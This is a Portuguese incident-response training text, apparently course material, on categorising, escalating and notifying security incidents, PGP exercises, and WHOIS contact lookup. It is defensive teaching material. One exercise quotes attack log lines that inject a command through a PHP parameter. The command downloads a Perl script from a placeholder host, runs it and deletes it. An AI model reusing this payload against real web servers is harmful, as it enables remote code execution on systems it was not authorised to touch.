Uma vez que o incidente de segurança tenha sido avaliado, é possível estimar seu impacto dentro da organização e atribuir sua devida priorização. A etapa de determinação de impacto e priorização se torna muito eficiente em organizações que possuem um processo de análise de risco, o que permite identificar componentes críticos ou pontos falhos que podem ser atacados, gerando um maior dano. Ao mesmo tempo, o analista de segurança deve estar bem informado sobre o tipo de incidente que está tratando e suas características, para que seja


possível estimar esse impacto frente às diversas informações que possui.

94

Categorização A categorização dos tipos dos incidentes de segurança é uma atividade complementar que, aliada à priorização, permite ao CSIRT estimar as possíveis extensões do evento de segurança. Sendo assim, torna-se possível agrupar incidentes de segurança segundo a sua natureza. Por exemplo, incidentes relacionados a varreduras não autorizadas podem ser categorizados como incidentes do tipo scan.

q

Boa parte dos CSIRTs implementa uma nomenclatura própria de modo a classificar a

q

natureza dos incidentes de segurança, como: 11 inc-web: incidentes relacionados a ataques a servidores web; 11 inc-malware: incidentes relacionados aos diversos tipos de malwares; 11 inc-phishing: incidentes relacionados com phishing; 11 inc-dos: incidentes relativos a negação de serviços. Infelizmente não existe uma padronização amplamente aceita relativa à categorização de incidentes de segurança. Cada CSIRT implementa as suas – a categorização deve manter-se consistente para os diversos tipos de incidentes. O importante aqui é especificar categorias genéricas, não tão específicas. Dessa forma, a classificação pode ser mais flexível e adequar-se à dinâmica dos incidentes. Afinal, existem diferentes tipos de incidentes onde a classificação de sua natureza nem sempre é trivial. A figura 5.6 ilustra alguns tipos de incidentes que podem ser considerados na etapa de classificação:

De fato, certas categorias de incidentes são mais críticas que outras. Por exemplo, incidentes categorizados como “spam” possuem prioridade diferente de incidentes do tipo “invasão”. Mesmo em incidentes com mesma classificação têm-se uma diferenciação no tratamento: invasão em uma máquina crítica é diferente de uma invasão em uma máquina regular. Logo, pode-se concluir que a classificação de incidentes, de forma indireta, também atribui um nível de priorização aos incidentes.

Atividade 5.4 e Classificação e triagem de incidentes Um CSIRT deve pré-definir um conjunto de categorias em que os incidentes investigados serão classificados. Neste exercício, vamos definir 10 categorias que serão utilizadas pela equipe do seu CSIRT. Para isso, defina o nome das 11 categorias e seu respectivo grau de severidade (alto, médio ou baixo). Compare os seus resultados com os dos outros grupos. Categoria 1: 2: 3: 4: 5: 6:

Severidade


Figura 5.7 Categorização de diferentes tipos de incidentes de segurança.

worm defacement scanD.o.S difamação calúnia open-proxy open-relay invasão vírus espionagem ameaça pirataria phishing malware

95

Categoria

Severidade

7: 8: 9: 10: 11:

Atribuição A fase de atribuição busca determinar ações de modo a dar encaminhamento ao pro-

q

cesso de resolução de incidente. Como já discutido, cada CSIRT tem os seus próprios procedimentos para lidar com os diferentes tipos de incidentes, muito embora tais procedimentos passem por etapas de: 11 Encaminhamento de incidentes; 11 Escalação de incidentes; 11 Notificação de incidentes. É evidente que todas essas etapas possuem o mesmo objetivo: a resolução do incidente. Assim sendo, cada etapa tem seus próprios procedimentos operacionais específicos. Na sequência são apresentados os principais aspectos das etapas supracitadas.

Encaminhamento de incidentes Certos incidentes não são necessariamente tratados pela própria equipe do CSIRT, e

q

sim encaminhados para outros departamentos da instituição ou, ainda, para entidades externas envolvidas com o evento de segurança. A etapa de encaminhamento, por sua vez, busca repassar as informações do incidente para terceiros, tendo como objetivo: 11 Notificar: efetivamente notificar o responsável e os demais envolvidos com o incidente; 11 Complementar: solicitar ou descrever informações complementares do incidente em questão. O CSIRT deve assegurar-se de que todos os envolvidos em um incidente estão sendo notificados, incluindo o CSIRT nacional, CSIRT da organização, e contato técnico disponibilizado no sistema WHOIS. Nem sempre o mesmo nível de informação – detalhes do incidente – é encaminhado para todas as partes envolvidas. Em certos casos não é necessário encaminhar o conteúdo na íntegra para terceiros, como por exemplo em um incidente onde as Tratamento de Incidentes de Segurança

informações sensíveis de usuários foram expostas.

96

O encaminhamento de incidentes é muito realizado por CSIRTs de coordenação – tal

q

como o CERT.br, que repassam os incidentes recebidos para os responsáveis ou ainda para outros CSIRTs. Na maioria dos CSIRTs, no entanto, o encaminhamento é realizado para outros grupos internos da organização, como o grupo de suporte e grupo de sistemas. A figura 5.7 ilustra uma notificação sendo encaminhada para os responsáveis:

Figura 5.8 Exemplo de repasse de uma notificação de phishing.

A notificação da figura 5.7 pode ser dividida em duas partes: na parte de baixo, a notificação original reportada em inglês tendo como destino o “[email protected]”. Já na parte superior, o CAIS/RNP encaminha a mensagem para o departamento responsável onde efetivamente a máquina está alocada.

cado, uma vez que os contatos que recebem esses repasses podem não mais existir ou estarem temporariamente ausentes (férias).

Escalação de incidentes Uma das atribuições da equipe do CSIRT é monitorar os incidentes relativos à sua instituição e acompanhar até que seja solucionado. Em casos específicos, no entanto, um incidente de segurança deve receber cuidados redobrados ou ainda ter a sua prioridade de tratamento escalada. Tais casos podem compreender: a) incidentes que passam por um longo período até que as devidas ações sejam tomadas; e, b) incidentes de segurança reincidentes associados a um mesmo dispositivo. De forma complementar, são apresentados alguns exemplos de incidentes que podem determinar ações relativas à escalação de incidentes, sendo: 11 Restauração de um backup com as mesmas vulnerabilidades utilizadas para comprometer o sistema; 11 Dispositivos na mesma rede comprometidos e com acesso livre ao sistema reincidente;

q


Por fim, o processo de “encaminhamento de incidentes” deve ser constantemente verifi-

97

11 Credenciais de acesso comprometidas;

q

11 Processo de resolução e recuperação dos dispositivos mal executada; 11 Exposição de informações sensíveis. Nesses casos onde é necessário “escalar” um incidente, o CSIRT deve estabelecer procedimentos internos onde diferentes membros são contatados e inseridos no processo de resolução do incidente. Uma prática comum é ter contatos mais específicos (gestores) onde eles são contatos em incidentes de alto impacto ou ainda que necessitem de uma pronta intervenção.

Notificação de incidentes A notificação de incidente é um aspecto-chave no processo de resolução de incidentes.

q

Essa etapa não envolve apenas contatar os responsáveis, mas sim comunicar-se com outras equipes descrevendo fatos relevantes de maneira a auxiliar no processo de solução do problema. Uma notificação de um incidente deve prover elementos suficientes para que as partes envolvidas possam investigar e confirmar a existência de uma violação de segurança. A descrição do incidente deve ser concisa, indicando o tipo de ataque e, caso for desejável, qual o impacto resultante. Existem algumas informações que são fundamentais e devem estar presentes em uma

q

notificação, tal como: 11 Contato de quem reportou o e-mail; 11 Endereço IP de origem do ataque; 11 Endereço IP ou rede de destino do ataque; 11 Horários relacionados ao ataque, com indicação de fuso horário; 11 Logs associados com o ataque; 11 Descrição do ataque; 11 Envio das informações em formato de texto. Não existe necessidade de enviar um arquivo de logs muito grande (alguns megabytes). Apenas um trecho é suficiente para investigar o incidente. Se necessário, nas próximas interações com os responsáveis pode-se incluir logs adicionais para complementação. A seguir, um trecho de log que descreve um acesso indevido ao serviço SSH.

q


2013-09-30 22:07:28 PST X.X.X.17/2231-> xxx.xxx.xxx.xxx/22

98

Com essas informações do log os responsáveis podem pesquisar pelos eventos no firewall/NAT de modo a confirmar a existência de tal varredura e também identificar outros dispositivos envolvidos no mesmo incidente. Em algumas situações, a notificação de um incidente não apresenta dados suficientes para análise. Nesses casos, cabe à equipe solicitar os responsáveis por dados complementares. De fato, nem sempre é possível conseguir mais detalhes do incidente, isso vai depender da natureza do próprio incidente e de fatores específico do caso. Por exemplo, a falta de aptidão técnica da pessoa que reportou o caso pode comprometer a análise.

Se for viável, o CSIRT deve cogitar a possibilidade de obter mais informações sobre

q

o incidente usando diferentes contatos. Alguns pontos de contatos que podem ser considerados pelo CSIRT: 11 Hierarquias superiores da instituição; 11 Financiadores; 11 Outros departamentos; 11 Administradores de sistemas; 11 Auditores internos. Da mesma forma, existem contatos que podem não estar diretamente relacionados com um incidente, mas mesmo assim podem ser úteis para prover informações potencialmente relevantes ao CSIRT. Dessa forma, um CSIRT deve considerar e avaliar a necessidade de contatar entidades

q

externas não relacionadas com o incidente em si, mas que podem ser úteis no processo de investigação: 11 Vendedores (fabricantes); 11 Especialistas; 11 Outros CSIRT; 11 Provedores de rede (ISP); 11 Equipes de outros departamentos. Nos casos onde um incidente é identificado pelo próprio CSIRT, cabe ao próprio time notificar todas as partes envolvidas: máquinas da própria abrangência operacional do


CSIRT e máquinas externas.

99

Muitas vezes os CSIRTs apresentam procedimentos diferentes para lidar com notificações internas e externas. A figura 5.8 ilustra exemplos de notificações enviadas pelo CSIRT para entidades externas reportando incidentes de segurança:

Figura 5.9 Notificação de um ataque de força bruta originada por uma entidade externa (200.x.10.10).

Na figura, o CSIRT da instituição está notificando um endereço IP externo – representado por 200.x.10.10 – o qual realizou um ataque de força bruta destinado a uma das máquinas da abrangência operacional do CSIRT. É importante observar o nível de detalhamento da mensagem. Nem sempre é necessário enviar todos os detalhes do incidente, mas sim apenas informações que permitam com que a entidade envolvida investigue a notificação.


Em contraponto, a figura 5.9 ilustra um incidente notificado internamente e afetando somente

100

máquinas internas da própria instituição. Nesse caso, o nível de informação presente na notificação pode ser mais detalhado, incluindo informações do usuário do sistema afetado. Na notificação representada pela figura, por exemplo, são descritos o usuário da máquina, endereço MAC, endereço IP e Sistema Operacional utilizado. Da mesma forma é exibido, na parte inferior da notificação, informações sobre o incidente – varredura pelo serviço de administração remota VNC – e os logs da ferramenta que identificou o incidente. O objetivo desse detalhamento é auxiliar os responsáveis a solucionar o problema de forma mais rápida possível.

Figura 5.10 Notificação de incidente interno.

Essas mesmas ações, aplicadas a uma notificação externa, poderiam expor excessivamente os sistemas internos de uma instituição.

Dando sequência aos exemplos de notificações, é apresentada uma notificação de phishing na figura 5.10. Na referida notificação está sendo reportado um servidor que está hospedando um website falso com o intuito de roubar informações dos usuários da instituição financeira Banco do Brasil. Esse incidente foi identificado internamente, através da análise responsáveis pela rede e também os demais envolvidos com a marca.


dos spams recebidos pelos usuários. É importante notar que a notificação está copiando os

101

Figura 5.11 Notificação de phishing.

As notificações exibidas até agora demonstraram exemplos de como um CSIRT pode notificar as partes envolvidas com um evento de segurança. Agora, no processo reverso, onde as notificações de incidentes são recebidas, tudo é muito semelhante. Um CSIRT pode receber notificações de entidades externas e também da sua própria comunidade de atuação. Todas as notificações recebidas passam por um fluxo de tratamento de informações previamente definidos. Na figura 5.11, por exemplo, é ilustrado um possível fluxo de dados de uma notificação recebida.

interno

externo Internet


Instituição

102

CSIRT

resolução

resolução

Toda notificação recebida – representada pelo envelope – é analisada pela equipe e direcionada para que as ações cabíveis sejam tomadas a fim de solucionar o incidente. Essa etapa compreende interagir com as partes envolvidas e assegurar que o incidente foi solucionado. Como resultado, o CSIRT pode encerrar o incidente ou ainda notificar novas partes envolvidas em decorrência dos novos fatos identificados na investigação realizada.

Figura 5.12 Recebimento de notificações de incidentes.

Boas práticas para a notificação de incidentes de segurança 11 Quando reportar e-mails para outros países, recomenda-se a utilização do idioma

q

inglês. Mesmo em países onde o inglês não é a primeira língua, os times nacionais estão preparados para entender o idioma. Deve-se evitar o uso de tradutores automáticos (Google Translator, Yahoo Translator e Babelfish). Esses corretores nem sempre são eficientes no contexto técnico e podem tornar a notificação incompreensível para o destinatário; 11 Deixar evidente as informações básicas do incidente reportado. Por exemplo, ao reportar uma página falsa, é importante deixar a URL em questão visível, ou seja, destacada do texto. Dessa forma, um analista pode facilmente identificar e avaliar o incidente; 11 O assunto da notificação deve ser claro o suficiente para o analista inferir o conteúdo reportado. Evitar assuntos genéricos do tipo: “pedido de ajuda”, “incidente de segurança”, ou ainda “urgente”. Em vez de assuntos genéricos, dar preferência a assuntos tal como: “acesso não autorizado”, “phishing em: XXXX”; 11 O uso de templates é bastante comum para notificar incidentes de segurança. Sabe-se, no entanto, que mensagens diretas e direcionadas são mais efetivas para a resolução de um incidente. Sendo assim, mesmo usando templates padronizados para reportar incidentes, aconselha-se o uso de mensagens direcionadas e sucintas em incidentes de maior impacto; 11 A resolução de um incidente passa por uma colaboração entre equipes. Recomenda-se armazenar os contatos que foram efetivos e prestativos no processo de resolução de problemas, que podem ser úteis em um momento de crise; 11 Para a troca de informações via e-mail, preferir a utilização de texto sem formatação. Deve-se evitar enviar notificações em formato HTML ou ainda informações contidas em imagens (captura de tela). Leitura recomendada: 11 Data Breach Notification Toolkit: http://www.stonesoup.org/Meetings/0509/enter.pres/blair3.ppt 11 Data Incident Notification Templates: 11 Internet Worm Propagation: http://www.model.in.tum.de/um/courses/seminar/worm/WS0405/misslinger.pdf 11 NIST SP 800-61: Computer Security Incident Handling Guide: http://csrc.nist.gov/publications/nistpubs/800-61/sp800-61.pdf


http://www.educause.edu/ir/library/pdf/CSD4237.pdf

103

104


Roteiro de atividades 5 Atividade 5.1 – Utilizando PGP A utilização de criptografia, conforme comentado, é altamente recomendável e muitas vezes mandatória para a troca de informações de incidentes de segurança. Nesta atividade vamos usar o software GNUPG para realizar tarefas básicas: a. Criar uma chave PGP para ser utilizada no seu CSIRT. O processo de criação de chaves é totalmente interativo, para iniciá-lo, utilize o comando:

# gpg --gen-key As chaves são criadas no diretório “~/.gnupg/”. Para listar as chaves, utilize o comando a seguir:

1. # gpg --list-keys b. Assinar um arquivo:

2. # gpg -s --clearsign arquivo.txt c. Criptografando um arquivo:

3. # gpg --encrypt arquivo d. Exportar a sua chave pública para um arquivo:

4. # gpg --export -a [email protected] >chave-publica_CSIRT_A.txt e. Importar uma chave pública de outro grupo:

5. # gpg --import chave-publica_CSIRT_X.txt 6. # gpg --list-keys f. Importar a chave pública do CERT.br:

7. # wget

http://www.cert.br/pgp/CERTbr.asc ; gpg -import CERTbr.asc

8. # gpg --import CERTbr.asc g. Cifrar um arquivo com a chave pública importada e encaminhar mensagem para o desti-

9. # gpg -r ID_CSIRT_X –encrypt documento.txt Comando utilizado:


natário para que ele possa recuperá-la:

105

Atividade 5.2 – PGP Web-of-Trust Essa atividade tem o objetivo de ilustrar o conceito de rede de confiança no contexto de chaves PGP. Assim como exemplificado, qualquer usuário pode criar uma chave “impersonando” outra instituição ou usuário. Para isso, diferentes usuários podem assinar uma chave pública atestando a autenticidade da pessoa. Nessa atividade, vamos analisar a rede de confiança de uma determinada chave pública. Para isso, siga as etapas: 11 Acesse o site do FIRT (http://www.first.org/members/teams) e escolha uma chave PGP para analisar; 11 Identifique o ID da chave pública escolhida; 11 Acesse o website http://pgp.cs.uu.nl/ e identifique todas as chaves que assinaram a chave pública pesquisada.

Atividade 5.3 – Notificação de incidentes Discuta as vantagens e desvantagens de notificar um incidente de segurança utilizando as duas linhas de logs a seguir: Log A:

2013-09-30 22:07:28 PST 20.20.20.20/2231-> xxx.xxx.xxx.xxx/22 Log B:

2013-09-30 22:07:28 PST 20.20.20.20/2231-> 30.30.30.30/22

Atividade 5.4 – Identificar informações relevantes em uma notificação recebida Avalie a notificação de incidente a seguir e responda os possíveis desmembramentos do incidente. Para isso, considere a sua abrangência operacional:


11 Você representará a “universidade.exp.net.br”;

106

11 Seu bloco de endereçamento é: 10.0.0.0/16

From: [email protected] To: [email protected] Subject: Ataque ao servidor web Senhores, Detectamos através de nossos sistemas de segurança que uma máquina de sua responsabilidade está buscando vulnerabilidades no nosso servidor web. Solicitamos que investigue o incidente a seguir e tome as medidas cabíveis. 10.10.10.10 - - [14/Nov/2014:08:50:43 -0200] “GET +/forum2013/slides//images/docs/ morocanz.php?cmd=cd%20/tmp%20;wget%20http://website.com.xxx/p.log%20;%20 perl%20p.log%20;%20rm%20-rf%20p.log HTTP/1.1” 404 7488 “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.1” 10.10.10.10 - - [14/Nov/2014:12:57:19 -0200] “GET /docs/papers/hnbr-first2003. pdf//images/docs/morocanz.php?rf HTTP/1.1” 404 7488 “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.1” 10.10.10.10 - - [14/Nov/2014:12:57:20 -0200] “GET +/docs/papers//images/docs/ morocanz.php?cmd=cd%20/tmp%20;wget%20http://website.com.xxx/p.log%20;%20 perl%20p.log%20;%20rm%20-rf%20p.log HTTP/1.1” 404 7488 “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.1” Atenciosamente, CSIRT

a. Faça um resumo do incidente a seguir descrendo o ataque.


b. O incidente foi bem-sucedido? O atacante teve sucesso na sua investida? Por quê?

107


c. Esse incidente vai gerar uma notificação externa?

108

6 Identificar as partes envolvidas no incidente; Utilizar diferentes ferramentas para identificar os responsáveis; Conhecer diferentes técnicas para investigação de contatos.

conceitos

Diferença entre contatos de redes e contatos de domínios de redes; Boas práticas no processo de identificação de contatos.

Introdução A identificação de contato, ou seja, identificar os responsáveis envolvidos em um incidente de segurança, é uma etapa crucial no processo de resposta a incidentes. A habilidade de comunicar-se com as partes interessadas no processo possibilita com

q

que o CSIRT: 11 Troque informações sobre a segurança do incidente em si; 11 Melhore o entendimento das atividades relacionadas ao comprometimento; 11 Identifique possíveis novas vulnerabilidades; 11 Aprimore a segurança dos sistemas. Identificar os responsáveis por uma instituição envolve investigar as diferentes informações relativas ao incidente de segurança. Sabe-se que toda informação pode ser útil no processo de análise; no entanto, uma das tarefas fundamentais desempenhadas pelo CSIRT é identificar informações relevantes para conduzir a investigação. Nesse processo, são analisadas informações contidas pela própria notificação do incidente ou ainda nos dados identificados pela própria equipe. Tais dados, reportados por outros administradores ou disponíveis em logs de ferramentas automatizadas de segurança, são essenciais para a rápida identificação dos contatos. Por exemplo, um endereço IP – ou domínio de rede – tende a revelar informações sobre a origem dos ataques e também dados de outros sistemas afetados diretamente relacionados com o incidente a ser investigado. A etapa de identificar contatos pode parecer simples, mas não deve ser subestimada. Muitas vezes, identificar o contato efetivo das partes envolvidas com o incidente pode ser dispendioso. Nem sempre é fácil encontrar informações de contatos atualizados e equipes responsivas por trás de uma informação de contato. Isso se deve a diversos fatores, como por exemplo, a própria característica dinâmica das redes, onde constantemente ocorrem fusões de empresa, aquisições de novos blocos de endereçamentos e novos domínios.

Capítulo 6 - Identificação de contatos

objetivos

Identificação de contatos

109

Diante disso, é interessante que os CSIRTs estejam preparados para lidar com essas tarefas conhecendo ferramentas e técnicas que podem ser empregadas na busca de informações de contato. Cada time implementa uma sequência de etapas para ser utilizada na obtenção de

q

informações de contato, como por exemplo: 11 Localizar contatos na própria base de dados do CSIRT; 11 Consultar informações no sistema WHOIS; 11 Consultar informações adicionais (fontes públicas e websites); 11 Infelizmente não existe roteiro pré-definido para a obtenção de contatos de forma efetiva. Algumas etapas são comuns (consulta à base WHOIS, por exemplo); no entanto, existem outras etapas de um roteiro para obtenção de contatos que são customizadas. Nota-se que boa parte dos CSIRTs possui ferramentas customizadas para localização de informações de contato, as quais compõem informações de diferentes bases de contatos. Alguns CSIRTs ainda optam por armazenar informações de contatos em uma base de dados interna. Tipicamente, um CSIRT possui um conjunto de contatos mais específicos que podem ser utilizados para notificar incidentes fora do padrão. Esses contatos mais específicos podem ser e-mails pessoais ou, ainda, e-mails de equipes de resposta a incidentes de segundo nível. Boa parte desses contatos são fruto de relacionamento e de cooperação com outras entidades e CSIRTs. Cabe lembrar que o gerenciamento dos contatos armazenados pelo CSIRT deve ser constantemente atualizado, pois muitas vezes essas informações são esquecidas e tornam-se inválidas. Na sequência, são apresentadas algumas técnicas que podem ser úteis no processo de resposta a incidentes de segurança no que tange a identificação das partes envolvidas em um incidente.

Identificação de contatos Um das primeiras etapas para identificar os contatos dos responsáveis é analisar os

q

dados do incidente de segurança em busca de domínio e endereços IPs relacionados com a atividade investigada. Uma vez identificadas as informações, pode-se:

Traduzir domínios de redes para endereços IP (domínio > IP) Existem diferentes formas para converter um IP em domínio de rede, desde ferramentas online a ferramentas presentes em múltiplos Sistemas Operacionais. A seguir é exempli-


ficado o uso da ferramenta nslookup para a tradução do nome:

110

$> nslookup www.rnp.br Non-authoritative answer: Name: www.rnp.br Address: 200.130.35.4

q

Traduzir o endereço IP para domínios de redes (IP > domínio) O mesmo comando apresentado anteriormente pode ser utilizado para realizar o pro-

q

cesso inverso, ou seja, mapear o reverso de um endereço IP:

$> nslookup 200.130.35.4 Non-authoritative answer: 4.35.130.200.in-addr.arpa name = kerberos.na-df.rnp.br. Nem todo endereço IP pode ter um nome de rede associado – essa associação não é uma regra. Existem IPs que não estão associados a nenhum nome de rede. Esses endereços que não possuem nomes associados, ou ainda que não possuem resolução de nome de reverso, geralmente tendem a demandar diferentes técnicas no processo de investigação dos responsáveis, mas mesmo assim é perfeitamente factível obter informações de contato. Sendo assim, os comandos podem auxiliar na etapa de investigação prévia. Por fim, é fundamental lembrar que as informações de resolução de nomes são dinâmicas. Um determinado domínio pode ser traduzido para um endereço IP; no entanto, não existe garantia de que essa informação permaneça inalterada. Durante a investigação de um incidente, um determinado domínio pode ter a sua resolução alterada para outro IP. Isso é muito comum em casos de phishing, onde um domínio malicioso está associado a um IP, e quando esse domínio malicioso é bloqueado passa a ser associado a um IP de bloqueio, tal como 127.0.0.1. Logo, em um processo de investigação e análise de incidentes, não se pode confiar apenas nos nomes de rede. Devem-se documentar todas as informações, tal qual foram observadas na etapa de investigação do incidente.

Serviço WHOIS A maneira mais simples de localizar informações de contatos é consultar o serviço de

q

WHOIS. O WHOIS é uma base de dados distribuída e provida por entidades de registro que permite obter informações de recursos da internet, tais como: 11 Domínios de redes; 11 Endereçamentos IPs; 11 Sistemas autônomos. Essa base de dados (WHOIS) é mantida pelos grandes operadores e detentores de registros da internet. As informações relativas a endereçamento IP são mantidas por entidades regionais

q

denominadas Regional Internet Registries (RIRs). O mundo está dividido em cinco RIRs, 11 American Registry for Internet Numbers (ARIN): Canadá, partes do Caribe e ilhas do Atlântico Norte – http://www.arin.net/whois 11 Asia Pacific Network Information Centre (APNIC): Partes da Ásia e Regiões da Oceania – http://www.apnic.net/search 11 Latin American and Caribbean Internet Addresses Registry (LACNIC): América Latina e regiões do Caribe – http://lacnic.net/cgi-bin/lacnic/whois 11 Réseaux IP Européens (RIPE): Europa, Oriente médio e Ásia Central – http://www. ripe.net/perl/whois 11 Africa Regional Internet Registry (AFRINIC): África e algumas regiões do Oceano


listadas na sequência:

Índico – http://www.afrinic.net/cgi-bin/whois 111

A distribuição dos endereços IPs da internet é realizada pela Internet Assigned Name

q

Authority (IANA), que por sua vez aloca os recursos para os RIRs, que gerenciam localmente as informações repassadas e possuem autoridade para realizar realocações dentro de sua área geográfica. Como, por exemplo, o LACNIC – que é um RIR – pode repassar blocos de endereçamento para os National Internet Registry, tal como o Núcleo de Informação e Coordenação do Ponto BR (NIC.br). Embora não exista uma especificação padrão relativa às informações que devem ser

q

disponibilizas pelos serviços de WHOIS, existe um subconjunto de informações típicas que podem ser encontradas na maioria das bases de dados WHOIS, sendo: 11 Bloco de endereçamento IP; 11 Informações sobre o detentor do bloco; 11 Servidor DNS autoritário; 11 Contato técnico; 11 Contato para notificar abusos; 11 Informações sobre um WHOIS adicional. A consulta a uma base de WHOIS pode ser realizada usando diferentes interfaces, entre elas, interface web ou ainda por meio de aplicativos específicos amplamente disponíveis nos mais diversos Sistemas Operacionais. Para isso, o WHOIS define um protocolo próprio para consulta de informações de texto claro em uma base de dados. O protocolo é especificado pela RFC 812, e posteriormente atualizado pela RFC 3912, utilizando a porta de comunicação 43/TCP. As consultas para a base de dados do WHOIS podem ser realizadas pelo comando homólogo, ou seja, o comando whois – posteriormente ilustrado. Também é possível encontrar outras ferramentas online especializadas na consulta de informações do serviço WHOIS. Algumas ferramentas, por exemplo, conseguem seguir recursivamente as diferentes

q

bases de dados para identificar informações de contato. Serviços para consulta online: 11 All Whois: http://www.allwhois.com/ 11 Better Whois: http://betterwhois.com/ 11 Geek Tools: http://www.geektools.com/whois.php 11 Cyberabuse WHOIS: http://www.fr2.cyberabuse.org/whois/?page=whois_server 11 Team Cymru WHOIS: http://asn.cymru.com/cgi-bin/whois.cgi


11 DNSstuff Tools Page: http://www.dnsstuff.com/pages/expert.htm

112

Na sequência, são exemplificadas com maior nível de detalhamento as diferentes formas de obter informações dos principais recursos da internet. Inicialmente dados dos domínios de rede, e posteriormente endereçamento IP.

National Internet Registry Os National Internet Registry são organizações abaixo dos RIRs (LACNIC, APNIC, ARIN, RIPE e AFRINIC), cujo objetivo é gerenciar e coordenar recursos de internet nacionalmente. Existem poucos países que gerenciam recursos de endereçamento em nível regional. Na América Latina, temos: 11 NIC México: http://www.nic.mx/

q

11 NIC Brasil: http://www.nic.br/

q

11 NIC Chile: http://www.nic.cl/ Em outras regiões, podemos citar: 11 China Internet Network Information Center (CNNIC); 11 Japan Network Information Center (JPNIC); 11 Korea Internet & Security Agency (KRNIC); 11 Taiwan Network Information Center (TWNIC); 11 Vietnam Internet Network Information Center (VNNIC). Essas entidades também são úteis na identificação dos responsáveis por uma determinada rede. Boa parte dos NIR disponibiliza sistema de WHOIS para consultar informações de contatos mais específicos dos recursos de internet alocados pelo próprio.

Domínios de rede Um domínio de rede pode ser considerado um identificador único que pode ser

q

mapeado para um endereço de rede. Por exemplo, o domínio “www.exemplo.com.br” pode ser mapeado, via sistema de Domain Name System (DNS), para um endereço IP específico. A equipe de um CSIRT deve ter ciência de que um domínio de rede geralmente possui informações de contato diferente do respectivo endereço IP designado. Tipicamente, o contato de um domínio de rede é um administrador de sistemas, ao passo que o contato de um endereço IP corresponde a um provedor de rede. Como de conhecimento, os domínios de redes são alocados por diferentes instituições, ou entidades provedoras de registro de domínio. No Brasil, temos o Registro.br, que é responsável pelo registro de nomes terminados com “.br”. Um dos serviços providos pelo Registro.br é uma base de informação (WHOIS) com informações de recursos de endereçamento e nomes de domínios alocados pela entidade. O Registro.br, por sua vez, disponibiliza um conjunto de informações bem amplo na sua

q

base de dados WHOIS, compreendendo: 11 Domínio; 11 Instituição; 11 CPF ou CNPF;

11 Responsável administrativo; 11 Data de criação do domínio; 11 Data da última atualização dos dados do domínio; 11 Data da expiração. Todas as informações disponibilizadas são públicas e podem ser consultadas via interface web ou serviços baseados no protocolo WHOIS. A seguir, um exemplo de uma consulta pelo domínio “rnp.br” utilizando a interface web do Registro.br:


11 Responsável técnico;

113

% Copyright (c) Nic.br % A utilização dos dados abaixo é permetida somente conforme % descrito no Termo de Uso (http://registro.br/termo), sendo % proibida a sua disiribuição, comercialização ou reprodução, % em particular para fins publicitários ou propósitos %similares. % 2013-11-07 21:15:48 (BRST -02:00) dominio: rnp.br titular: Associação Rede Nacional de Ensino e Pesquisa documento: 003.508.097/0001-36 responsável: Nelson Simões Silva pais: BR c-titular: RCO217 c-admin: NES c-técnico: FRK16 c-cobrança: RCO217 servidor DNS: teyr.na-cp.rnp.br 200.130.25.17 2001:12f0.3f:3::11 status DHS: 07/11/2013 AA último AA: 07/11/2013 servidor DNS: bellana.nc-rj.rnp.br 200.143.193.3 2001:12f0:3e:102::3 status DNS: 07/11/2013 AA último

AA: 07/11/2013

servidor DNS: lua.na-df.rnp.br 200.130.77.69 2001:12f0:3d:102::45 status DNS: 07/11/2013 AA último AA: 07/11/2013 registro DS: 51124 RSA/SHA-1 4ED9FC74C63C99E52E2FC492517C73AEFAC316F2 status DS: 03/11/2013 DSOK último OK: 03/11/2013 criado: antes de 01/01/1995 alterado: 25/11/2011 status: publicado Contato (ID): FRK16 nome: Flavio Rosa Kaatz e-mail: [email protected]


criado: 07/05/2000 alterado: 18/11/2010 contato (ID): NES nome: Nelson Simões e-mail: [email protected] criado: 18/12/1997 alterado: 28/04/2009 Contato (ID): RCO217 nome: RNP - Centro de Engenharia e Operações e-mail: [email protected] criado: 06/04/2006 114

alterado: 10/01/2013 % Problemas de seguranga e spam também devem ser reportados ao

nome: Nelson Simões e-mail: [email protected] criado: 18/12/1997 alterado: 28/04/2009 Contato (ID): RCO217 nome: RNP - Centro de Engenharia e Operações e-mail: [email protected] criado: 06/04/2006 alterado: 10/01/2013 % Problemas de seguranga e spam também devem ser reportados ao % cert.br, http://cert.br/, respectivamente para [email protected] % e [email protected] % % whois.registro.br aceita somente consultas diretas. Tinos % de consultas são: dominio (.br), titular (entidade), % ticket, provedor, contato (ID), bloco CIDR, IP e ASN.

As irregularidades encontradas em domínios registrados pelo Registro.br podem ser denunciadas para: [email protected] ou http://registro.br/contate.html Atividade 1: Como pode ser observado na Figura 6.1, é possível identificar informações que podem ser relevantes para o processo de resposta a incidentes, tais como: 11 Contato administrativo: [email protected]; 11 Contato técnico: [email protected]. Além das informações de contato, os dados disponibilizados pelo WHOIS permitem que sejam realizadas certas análises. É possível correlacionar informações das entidades e até mesmo identificar domínios

q

suspeitos. Algumas características que podem revelar domínios suspeitos são: 11 Domínio foi criado ou atualizado recentemente. A maioria dos domínios não é atualizada de forma requente; 11 O domínio é escrito de maneira muito similar a um domínio já conhecido; 11 Domínio é inteiramente gerado por letras e números aleatórios. Pode ser um domínio gerado por malwares com o objetivo exclusivo de evitar a detecção de um comprometimento (DGA – Domain Generation Algorithm); 11 Informações dos registradores ou de contato ausentes; 11 O domínio está listado em algumas listas de bloqueio ou está associado a atividades maliciosas (buscadores). O serviço de WHOIS mantido pelo Registro.br, permite consultar informações usando diferentes campos da base de dado, tal como o CPF/CNPF da entidade. Para isso, utiliza-se a seguinte sintaxe:

whois -h whois.registro.br CPF/CNPF Esse tipo de consulta é útil para correlacionar informações de registro. Uma simples consulta, como exemplificado, pode revelar todos os domínios registrados por uma única entidade. A consulta a seguir ilustra uma entidade que possui apenas quatro domínios registrados.

owner: ownerid:

NOME SOBRENOME


Figura 6.1 Consultando informações do domínio ‘rnp.br’ via interface do Registro.br.

XXX.XXX.XXX-XX 115

owner-c:

XXXXXXX

created:

20151217

created:

20151217

domain:

babcobradesco.com.br

domain:

bancobradeaco.com.br

domain:

calxa.gov.br

e-mail:

[email protected]

q

